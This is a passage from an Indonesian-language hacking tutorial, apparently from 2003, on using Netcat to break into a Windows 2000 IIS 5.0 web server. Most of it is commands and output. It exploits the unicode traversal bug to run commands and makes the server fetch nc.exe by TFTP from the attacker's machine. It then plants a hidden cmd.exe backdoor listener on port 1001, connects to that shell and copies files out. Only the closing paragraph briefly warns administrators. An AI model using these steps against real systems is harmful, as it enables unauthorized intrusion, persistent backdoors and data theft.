berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port
80.
Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah
Microsoft dengan IIS/5.0.
Perhatikan contoh berikutnya:
C:\TMP\NETCAT> nc -v www.cobacoba.com 80
www.cobacoba.com [128.1.9.9] 80 (http) open
get/http


501 Method Not Implemented



Method Not Implemented


get/http to /index.html not supported.
Invalid method in request get/http










Apache/1.3.12 Server at www.cobacoba.com Port 80


C:\TMP\NETCAT>
Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan
nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut
menggunakan Apache Versi 1.3.12.
Skenario Menyusup ke dalam Server Web!
Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.
Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem
target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang
menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman
mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih
saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang
pengelola sistem.
Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana
memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server
web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda
menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army
Knife”
Artikel Populer
IlmuKomputerComunity.co.cc
5
Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000
dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah
dijelaskan di atas):
C:\TMP\NETCAT> nc -v -z ristbook 20-80
ristbook [128.1.71.103] 80 (http) open
ristbook [128.1.71.103] 25 (smtp) open
ristbook [128.1.71.103] 21 (ftp) open
C:\TMP\NETCAT>
OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.
Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web
menggunakan Microsoft dan IIS 4.0/5.0?
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 08:51:34 GMT
Content-Type: text/html
Content-Length: 87
ErrorThe parameter is incorrect.

C:\TMP\NETCAT>
Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS
5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar
dari bugs unicode ?
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../wi...exe?/c+dir+c:\
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 09:06:52 GMT
Content-Type: application/octet-stream
Volume in drive C has no label.
Volume Serial Number is 0C42-12EA
Directory of c:\
09/17/2001 11:46a 1,012 FRUNLOG.TXT
09/17/2001 11:35a


WINDOWS
09/17/2001 11:58a
My Documents
09/17/2001 11:35a
Program Files
09/17/2001 12:43p
ATI
05/05/1999 09:20a 31,512 MAESTRO.COM
09/17/2001 12:50p 0 CONFIG.AGO
05/05/1999 09:20a 11,084 AECU.SYS
09/26/2003 08:35p 30 mstrinf.ini
09/17/2001 12:50p 0 AUTOEXEC.AGO
07/01/2003 07:22p
museum
06/06/2001 06:28a 1,071 my_cnf.bak
06/25/2002 07:35p 697 FRONTPG.LOG
08/29/2003 04:16p
NAV2001
08/29/2003 04:51p
ServicePack
01/28/2002 03:45p
HTML
06/17/2002 06:17p 22 autoexec.nav
09/19/2003 04:49p
denny
08/27/2003 06:38p 28,290 SCANDISK.LOG
04/05/2003 06:53a 967 command.PIF
06/09/2002 10:16p 442 SETUPXLG.TXT
10/05/2001 03:33p 40,923 c1605r-psn.txt
01/04/2002 12:20p
tmp
10/24/2001 02:32p
tms20
06/27/2001 11:57p 1,574 index.html.no
Artikel Populer IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
6
11/13/1998 01:23a 106,496 sqlsun.dll
01/28/2002 03:52p 289 sqlsunin.ini
09/26/2003 12:29p 157,817 winzip.log
01/28/2002 03:53p 85,526 Uninst.isu
12/13/2001 04:30p 317 Shortcut to cuteftp.exe.lnk
06/21/2002 10:34a
Acrobat3
01/22/2002 03:18p
My Received Files
01/28/2002 03:49p
LOG
07/30/2002 01:40p 34,565 atapi.exe
04/06/2003 06:41p 82 asoy.ftp
01/28/2002 03:45p
Upgrade
12/07/1999 07:00p 236,304 cmdkoe.exe
01/28/2002 03:45p
Install
06/25/2002 07:34p
Inetpub
07/05/2002 07:02p
Documentation
02/12/2002 01:28p 227,467 datacenter1.jpg
02/09/2002 03:29p 2,920 datacenterthumb.jpg
11/15/2001 03:07p 3,384 sqlnet.log
09/17/1999 06:38p 1,234 Table of Contents.htm
06/26/2002 03:22p
ftproot
26 File(s) 974,025 bytes
19 Dir(s) 119,435,264 bytes free
C:\TMP\NETCAT>
Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.
OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke
dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan
meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server
web tersebut dengan leluasa.
Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah
memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server
web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.
Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika
belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat
menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang
dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker
lainnya.
Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:
Artikel Populer
IlmuKomputerComunity.co.cc
7
Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam
direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base
directory dari tftp ke direktori program Netcat Anda.
OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base
directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena
kita akan memfokuskan pada pemanfaatan Netcat.
Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,
sebagai berikut:
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../wi...tp+-i+128.1.99
.25+get+nc.exe
HTTP/1.1 502 Gateway Error
Server: Microsoft-IIS/5.0
Date: Sun, 26 Oct 2003 11:00:54 GMT
Content-Length: 215
Content-Type: text/html
Error in CGI Application



CGI Error

The specified CGI application misbehaved by not returnin
g a complete set of HTTP headers. The headers it did return are:




e>

C:\TMP\NETCAT>

Langkah di atas adalah memerintahkan server web untuk mengupload nc.exe 
menggunakan

perintah tftp –i 128.1.99.25. IP 128.1.99.25 merupakan komputer Anda 
yang telah

terpasang tftp server.

Ya, program netcat.exe telah berhasil ditransfer ke server tujuan. Jika 
Anda menggunakan

tftpd32 pada komputer Anda, maka di layar tftp akan terlihat pesan 
transfer sukses sebagai

berikut:

Artikel Populer IlmuKomputer.Com

Copyright © 2003 IlmuKomputer.Com

8

Nah, dengan Netcat sudah terpasang diserver tujuan, Anda dapat dengan 
mudah mengendalikan

server tersebut !

Backdoor

Sudah menjadi kebiasaan para hacker apabila menyusup ke sebuah sistem 
senantiasa

meninggalkan backdoor. Dengan backdoor Anda dapat masuk dan keluar 
melalaui jalan pintas

tanpa harus melalui jalur yang semestinya.

Yang perlu Anda lakukan adalah mengaktifkan perintah Netcat yang telah 
Anda upload pada

server web di atas dengan perintah berikut ini:

C:\NETCAT> nc –L –p 1001 –d –e cmd.exe

C:\NETCAT>

Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan 
via port 1001 dan

Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh 
firewall. Opsi

berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan 
secara tersembunyi atau

stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk 
dipergunakan oleh

koneksi yang masuk.

Masih ingat bagaimana mengeksekusi perintah di atas pada server web 
melalui komputer Anda

?

C:\TMP\NETCAT> nc -v ristbook 80

ristbook [128.1.71.103] 80 (http) open

get http://ristbook/scripts/..%255c../wi...c+-L+-p+1001+-

d+-e+cmd.exe

Netcat akan listening pada port 1001. Selanjutnya anda dapat mengakses 
backdoor dari

komputer Anda sebagai berikut:

C:\TMP\NETCAT> ipconfig (command menunjukkan nomor IP pada komputer 
Anda)

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 128.1.99.25

Artikel Populer IlmuKomputerComunity.co.ccCopyright © 2003 IlmuKomputer.Com

9

Subnet Mask . . . . . . . . . . . : 255.255.0.0

Default Gateway . . . . . . . . . : 128.1.99.25

C:\TMP\NETCAT> nc -v ristbook 1001

ristbook [128.1.71.103] 1001 (?) open

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-1999 Microsoft Corp.

d:\inetpub\scripts> ipconfig (command menunjukkan nomor IP komputer 
saat ini)

ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 169.254.1.1

Subnet Mask . . . . . . . . . . . : 255.255.0.0

Default Gateway . . . . . . . . . :

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 128.1.71.103

Subnet Mask . . . . . . . . . . . : 255.255.0.0

Default Gateway . . . . . . . . . :

d:\inetpub\scripts> dir

Perhatikan pada saat perintah ipconfig yang pertama, menunjukkan nomor 
IP komputer

Anda, yaitu 128.1.99.25. Setelah dilakukan perintah nc –v ristbook 1001,
 Anda masuk ke

server web target. Perintah ipconfig memperlihatkan anda berada di dalam
 server web,

yaitu IP 128.1.71.103 dan 169.254.1.1 yang ternyata memiliki 2 IP 
address.

Cara yang sama dengan di atas adalah mengunakan telnet dengan port 1001 
sebagai berikut:

C:\> telnet ristbook 1001

Microsoft(R) Windows 98

(C)Copyright Microsoft Corp 1981-1999.

C:\NETCAT> dir

Cara lain Transfer File

Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk
 mendownload data

dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda
 ke sistem target.

Selain menggunakan tftp, Anda dapat melakukan dengan netcat sebagai 
berikut:

Pada server web target di atas ketikkan perintah:

Nc –l –p 55555 < namafile.pdf

Pada komputer Anda yang akan menerima file ketikkan perintah:

Nc –v 128.1.71.63 > namafile.pdf

NOTERIST [128.1.71.63] 55555 (?) open

^C

Artikel Populer IlmuKomputerComunity.co.cc



1

0

Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering
 disebut metode pull. Jika

Anda ingin mengirim file atau upload data dari komputer Anda ke sistem 
target, maka yang

perlu dilakukan adalah sebagai berikut:

Pada server web target di atas ketikkan perintah:

Nc –l –p 55555 > namafile2.pdf

Pada komputer Anda yang akan mengirim atau upload file ke sistem target 
ketikkan perintah:

Nc 128.1.71.63 55555 < namafile2.pdf

^C

Masih banyak fasilitas lain yang dapat Anda coba sendiri dari netcat.

Penutup

Untuk keperluan hacking yang lebih spesifik, mungkin masih banyak tools 
yang dapat Anda

pakai selain netcat. Namun jika Anda harus megerjakan banyak hal dengan 
seminimal mungkin

tools, maka netcat pilihan yang tepat dan itu sebabnya Netcat disebut 
sebagai “TCP/IP Swiss

Army Knife”-nya para hacker.

Bagi pengelola sistem komputer, Anda perlu mewaspadai apabila ditemukan 
Netcat di dalam

server Anda! Beberapa Anti Virus mengidentifikasi Netcat sebagai “virus”
 yang perlu di

waspadai dan dikarantina.

Seperti juga pisau “Swiss Army”, di tangan orang yang tepat, tools ini 
akan sangat bermanfaat!

Referensi

• “Netcat – The Swiss Army Knife”, muts@secureIT.co.il

• Stuart McClure, Joel Scambray, George Kurtz "Hacking Exposed: Network 
Security Secrets

and Solutions", McGraw-Hill Professional Publishing, 2003.

• Tom Armstrong, “Netcat – TheTCP/IP Swiss Army Knife”, SANS Institute 
2000-2002

• “Top 75 Security Tools”, Insecure.org,

About Me